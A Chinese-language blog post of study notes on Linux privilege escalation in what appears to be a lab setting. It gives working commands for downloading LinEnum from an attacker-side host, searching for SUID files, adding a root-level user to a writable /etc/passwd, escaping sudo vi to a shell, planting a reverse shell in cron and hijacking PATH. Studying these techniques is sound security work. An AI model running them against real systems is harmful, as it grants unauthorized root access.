Common Linux Privesc 记录

常见 Linux 提权的

提权方式:水平提权,垂直提权。

水平提权:这是您通过接管与您处于相同权限级别的不同用户来扩大您对受感染系统的影响的地方。

例如,一个普通用户劫持另一个普通用户(而不是提升为超级用户)。这允许您继承该用户拥有的任何文件和访问权限。例如,这可以用来获得另一个普通特权用户的访问权限,该用户恰好有一个 SUID 文件附加到他们的主目录(稍后会详细介绍),然后可以用来获得超级用户访问权限。

垂直提权:这是您尝试使用您已经泄露的现有帐户获得更高权限或访问权限的地方。对于本地权限升级攻击,这可能意味着劫持具有管理员权限或根权限的帐户。

枚举

使用工具LinEnum https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

在本地使用python3 -m http.server

然后目标机使用wget htpp://10.10.216.8:8000/LinEnum.sh 下载到本地

chmod +x LinEnum.sh

./LinEnum.sh 执行可查看到/etc/passwd 允许用户写入

cat /etc/passwd 查看user[x]

cat /etc/shells 查看系统可用shell

滥用 SUID/GUID 文件

Linux提权利用的第一步是检查设置了 SUID/GUID 位的文件。这意味着可以在文件所有者/组的权限下运行一个或多个文件。在这种情况下,作为超级用户。我们可以利用它来获得具有这些特权的 shell!

什么是 SUID 二进制文件?

在Linux中一切皆文件,包括目录和设备,它们具有允许或限制三种操作的权限,即读/写/执行。因此,当您为任何文件设置权限时,您应该了解您允许或限制所有三种权限的 Linux 用户。

r=读,w=写,x=执行

用户    组      其他
rwx rwx rwx
421 421 421 可用于为每个用户设置权限的最大位数为 7,它是读(4)写(2)和执行(1)操作的组合。
例如,如果您使用“chmod”设置权限为755,那么它将是:rwxr-xr-x 但是,当向每个用户授予特殊权限时,它就变成了 SUID 或 SGID。当额外的位“4”设置为用户
(所有者)时,它变为SUID(设置用户 ID),当位“2”设置为组时,它变为SGID(设置组 ID) 因此,查找SUID时要查找的权限为: 标识符: rws-rwx-rwx GUID: rwx-rws-rwx 使用命令:“find / -perm -u=s -type f 2>/dev/null”在文件系统中搜索 SUID/GUID 文件。
参考find提权:https://www.cnblogs.com/-Lucky-/p/17160491.html

利用可写入的/etc/passwd

了解 /etc/passwd 格式

user71006:0:user7,,,:/home/user7:/bin/bash

用户:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:command/shell

用户名:用户登录时使用。长度应在 1 到 32 个字符之间。
密码:一个 x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值,在这种情况下,密码哈希值存储为“ X”。
用户 ID ( UID ):必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 保留,UID 1-99 为其他预定义帐户保留。进一步的 UID 100-999 由系统保留用于管理和系统帐户/组。
组 ID (GID):主要组 ID(存储在 /etc/group 文件中)
用户 ID 信息:评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由 finger 命令使用。
主目录:用户登录时所在目录的绝对路径。如果该目录不存在,则用户目录变为 /
Command/shell:命令或 shell 的绝对路径 (/bin/bash)。通常,这是一个外壳。请注意,它不一定是shell。

这种提权方式为vertical(垂直)

先使用openssl passwd -1 -salt [salt] [passwd] 来生成一个兼容的哈希密码

openssl passwd -1 -salt new 123

$1$new$p7ptkEKU1HnaHpRtzNizS1 此时写入/etc/passwd得格式为
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
echo "" >> /etc/passwd su new 即可

转义vi编辑器

参考语法:https://zhuanlan.zhihu.com/p/155973403

利用 :!command 可直接执行系统命令

sudo -l

使用“sudo -l”来列出您可以作为该帐户的超级用户使用的命令。

发现能够以 root 用户身份运行某些命令而无需 root 密码。这可以让您提升权限。

sudo -l
(root) NOPASSWD: /usr/bin/vi NOPASSWD sudo vi
输入
:!sh即可root

利用Crontab

什么是 Cron?

Cron 守护进程是一个长期运行的进程,它在特定的日期和时间执行命令。您可以使用它来安排活动,

既可以作为一次性事件,也可以作为重复性任务。您可以创建一个 crontab 文件,其中包含供

Cron 守护程序执行的命令和说明。

使用命令“cat /etc/crontab”来查看安排了哪些cron 作业。

只要有机会,就应该始终手动检查这一点,尤其是在 LinEnum 或类似脚本未找到任何内容的情况下。

参考:https://www.runoob.com/linux/linux-comm-crontab.html

cat /etc/crontab 查看

使用msfvenom生成payload
参考反弹shell https://www.cnblogs.com/-Lucky-/p/17160172.html 写入
echo "" > 文件
即可

利用PATH变量

PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定保存可执行程序的目录。

当用户在终端中运行任何命令时,它会在 PATH 变量的帮助下搜索可执行文件以响应用户执行的命令。

假设我们有一个 SUID 二进制文件。运行它,我们可以看到它正在调用系统 shell 来做一个基本的过程,
比如用“ps”列出进程。与我们之前的 SUID 示例不同,在这种情况下我们无法通过提供命令注入参数来利用它,那么我们可以做些什么来尝试利用它呢? 我们可以将 PATH 变量重新写入我们选择的位置!因此,当 SUID 二进制文件调用系统 shell 来运行可执行文件时,它运行的是我们编写的文件! 与任何 SUID 文件一样,它将以与 SUID 文件所有者相同的权限运行此命令!如果这是 root,使用这个方法我们可以以 root 身份运行任何我们喜欢的命令!
例如我们有一个suid二进制文件script,运行结果与ls相同

假设此时在/tmp目录下,
此时
echo "/bin/bash" > ls 模仿可执行变量
chmod +x ls 执行权限
export PATH=/tmp:$PATH 修改环境变量为默认/tmp路径下 此时执行script就会去/tmp/下找ls。执行即 root 恢复正常
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: /usr/games:/usr/local/games:$PATH

常见 Linux 提权的更多相关文章

  1. Linux提权中常见命令大全

    在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...

  2. Linux提权:从入门到放弃

    *原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...

  3. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  4. Linux提权之:利用capabilities提权

    Linux提权之:利用capabilities提权 目录 Linux提权之:利用capabilities提权 1 背景 2 Capabilities机制 3 线程与文件的capabilities 3. ...

  5. Linux提权(1)-基础版~

    利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...

  6. 又一款linux提权辅助工具

    又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...

  7. 记一次初步Linux提权

    前言. 提权这么久了  还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器  要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...

  8. 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践

    免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...

  9. 利用Metasploit进行Linux提权

    利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...

  10. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

随机推荐

  1. 《3D编程模式》写书-第1天记录

    大家好,我现在开始写书了,书名为:<3D编程模式> 我会在本系列博文中记录写书的整个过程,感谢大家支持! 这里是所有的的写书记录: <3D编程模式>写书记录 为什么写书 去年我 ...

  2. MySQL日志机制分析

    进入正题前先简单看看MySQL的逻辑架构,相信我用的着. MySQL的逻辑架构大致可以分为三层: 第一层:处理客户端连接.授权认证,安全校验等. 第二层:服务器server层,负责对SQL解释.分析. ...

  3. ffmpeg protocol concat 进行ts流合并视频的时间戳计算及其音画同步方式一点浅析

    ffmpeg protocol concat 进行ts流合并视频的时间戳计算及音画同步方式一点浅析 目录 ffmpeg protocol concat 进行ts流合并视频的时间戳计算及音画同步方式一点 ...

  4. Git多平台/多账号配置

    有时候需要在一台电脑使用多个git平台(Gitee.GitHub.Gitlab...)或者一个平台多个不同账号,比如想同时配置公司git和个人的git,提交代码时提交到对应的平台/账号的代码仓库且互不 ...

  5. MySQL(十二)索引使用的情况分析

    索引使用的情况分析 数据准备 创建表student_info.course CREATE TABLE `student_info` ( `id` int NOT NULL AUTO_INCREMENT ...

  6. c/c++零基础坐牢第三天

    c/c++从入门到入土(3) 开始时间2023-04-17 19:07:20 结束时间2023-04-17 20:53:40 前言:经过三天的算法训练,大家肯定对后面的编程知识产生浓厚的兴趣,有了前两 ...

  7. 吃透Redis面试八股文

    Redis连环40问,绝对够全! Redis是什么? Redis(Remote Dictionary Server)是一个使用 C 语言编写的,高性能非关系型的键值对数据库.与传统数据库不同的是,Re ...

  8. JUC同步工具CountDownLatch

    CountDownLatch:允许一条或多条线程等待其它线程中的一组操作完成后再继续执行. 在探究CountDownLatch之前,我们知道Thread的join也有类似功能,先看thread的joi ...

  9. 使用ChatGPT4协助完成读取文件中不同字的数量

    使用ChatGPT4识别:用java读取文件中不同字的个数. 解析:该程序将读取名为"file.txt"的文件,并计算文件中每个不同字的出现次数.它使用一些字符串操作来清理单词,并 ...

  10. Prism Sample 16-RegionContext

    终于发现一个有趣的新知识了. 本例的核心是RegionContext,意思是一个区域的上下文.但与DataContext似乎并不相同. 先看一下整体思路. 在主窗体上只有一个Region: <G ...